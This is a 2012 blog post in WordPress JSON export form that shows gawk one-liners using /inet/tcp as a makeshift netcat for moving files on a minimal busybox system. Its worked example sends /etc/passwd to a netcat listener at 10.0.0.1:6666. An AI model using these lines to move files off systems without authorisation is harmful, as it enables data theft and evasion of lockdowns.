{"id":477,"date":"2012-07-13T03:17:47","date_gmt":"2012-07-13T03:17:47","guid":{"rendered":"https:\/\/trouble.org\/?p=477"},"modified":"2012-09-01T18:02:40","modified_gmt":"2012-09-01T18:02:40","slug":"one-line-shuttle","status":"publish","type":"post","link":"https:\/\/trouble.org\/?p=477","title":{"rendered":"one line shuttle"},"content":{"rendered":"<p>A one line gawk script to transfer a file to a waiting netcat&#8230; it&#8217;s sort of a really crappy one-way netcat that you stuff things into. \u00a0 I actually sort of needed this when on a suxx0r really stripped down busybox linux system that had zero file transfer programs, it was a wasteland&#8230; but the fools left gawk on the system&#8230; so a quick hack to do file transfers:<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">&nbsp;gawk -F &quot;&quot; 'BEGIN{RS=&quot;fizz-baz-baruu&quot;; while ((&quot;\/inet\/tcp\/'$1'\/0\/0&quot; |&amp; getline line) &gt; 0) printf(&quot;%s&quot;, line); }'<\/div><\/div>\n<p>(The RS=&#8217;weird string&#8217; meansset the record sep to something that doesn&#8217;t exist; awk will then treat the whole file as a single record.\u00a0 This is for the weirdness of binary data.\u00a0 An edit from an earlier version.)<\/p>\n<p>If that line were in a shell script you&#8217;d say:<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">foo-script host tcp-portnum file<\/div><\/div>\n<p>e.g.<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">foo-script 10.0.0.1 6666 \/etc\/passwd<\/div><\/div>\n<p>And the netcat on 10.0.0.1 would look like:<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">nc -l 6666<\/div><\/div>\n<p>You cold also redirect it to a file if wanted:<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">nc -l 6666 &gt; \/tmp\/foofile<\/div><\/div>\n<p>Or heck, write a one line gawk to receive:<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">gawk -F &quot;&quot; 'BEGIN{RS=&quot;fizz-baz-baruu&quot;}{printf(&quot;%s&quot;,$0) |&amp; &quot;\/inet\/tcp\/0\/'$1'\/'$2'&quot; }' $3<\/div><\/div>\n<p>run like:<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">bar-script 6666<\/div><\/div>\n<p>Or hell, a really crappy netcat, sends and\u00a0receives\u00a0data, in 5 lines (damn those conditionals, I could toss an exit or something in there to do it shorter :)):<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\"># read<br \/>\nif test &quot;$3X&quot; == &quot;X&quot; ; then<br \/>\ngawk -F &quot;&quot; 'BEGIN{RS=&quot;fizz-baz-baruu&quot;; while ((&quot;\/inet\/tcp\/'$1'\/0\/0&quot; |&amp; getline line) &gt; 0) printf(&quot;%s&quot;, line); }'<br \/>\n# write<br \/>\nelse<br \/>\ngawk -F &quot;&quot; 'BEGIN{RS=&quot;fizz-baz-baruu&quot;}{printf(&quot;%s&quot;,$0) |&amp; &quot;\/inet\/tcp\/0\/'$1'\/'$2'&quot; }' $3<br \/>\nfi<\/div><\/div>\n<p>This beauty is a complete send and receiver, sort of netcatish. Well, a really bad netcat&#8230; sends a file, recieves a file via TCP on a given port. To recieve; on the host you want data:<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">foobarscript port<\/div><\/div>\n<p>To send; on the host you want to send data from:<\/p>\n<div class=\"codecolorer-container text blackboard\" style=\"overflow:auto;white-space:nowrap;\"><div class=\"text codecolorer\">foobarscript host port file<\/div><\/div>\n<p>Of course, who needs error checking?<\/p>\n<p>Gotta love awk (props to gawk for adding net stuff ;)). \u00a0 Unix-like-systems can rock even if really minimal. \u00a0And if you want to keep systems locked down or users from doing things you don&#8217;t want, you really want to keep them off your systems entirely.<\/p>\n<p>p.s. At times awk\/gawk isn&#8217;t binary clean&#8230; but BWK writes in ;login:<\/p>\n<p><em>A standard example is binary data, since Awk expects everything to be text; for example, Awk survives these two tests<\/em><\/p>\n<pre>\tawk -f awk\t\t<em> \"program\" is raw binary <\/em>\r\n\tawk '{print}' awk\t<em> input data is raw binary <\/em><\/pre>\n<p>by producing a syntax error as expected for the first and by quietly stopping after some early null byte in the input for the second. The program generally seems robust against this kind of assault, though it is rash to claim anything specific.<\/p>\n<p>Non-POSIX systems might need a bit of help &#8211; in the gawk manual it says:<\/p>\n<p><em>There&#8217;s an environment variable called BINMODE that:<\/em><\/p>\n<p>On non-POSIX systems, this variable specifies use of binary mode for all I\/O. Numeric<br \/>\nvalues of one, two, or three specify that input files, output files, or all files, respectively,<br \/>\nshould use binary I\/O.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A one line gawk script to transfer a file to a waiting netcat&#8230; it&#8217;s sort of a really crappy one-way netcat that you stuff things into. \u00a0 I actually sort of needed this when on a suxx0r really stripped down busybox linux system that had zero file transfer programs, it was a wasteland&#8230; but the [&hellip;]<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[31,33,6],"tags":[111,110,113,112],"class_list":["post-477","post","type-post","status-publish","format-standard","hentry","category-code","category-dinosaur","category-tech","tag-awk","tag-hackasaurus-rex","tag-ipmi","tag-netcat"],"_links":{"self":[{"href":"https:\/\/trouble.org\/index.php?rest_route=\/wp\/v2\/posts\/477","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/trouble.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/trouble.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/trouble.org\/index.php?rest_route=\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/trouble.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=477"}],"version-history":[{"count":23,"href":"https:\/\/trouble.org\/index.php?rest_route=\/wp\/v2\/posts\/477\/revisions"}],"predecessor-version":[{"id":486,"href":"https:\/\/trouble.org\/index.php?rest_route=\/wp\/v2\/posts\/477\/revisions\/486"}],"wp:attachment":[{"href":"https:\/\/trouble.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=477"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/trouble.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=477"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/trouble.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=477"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}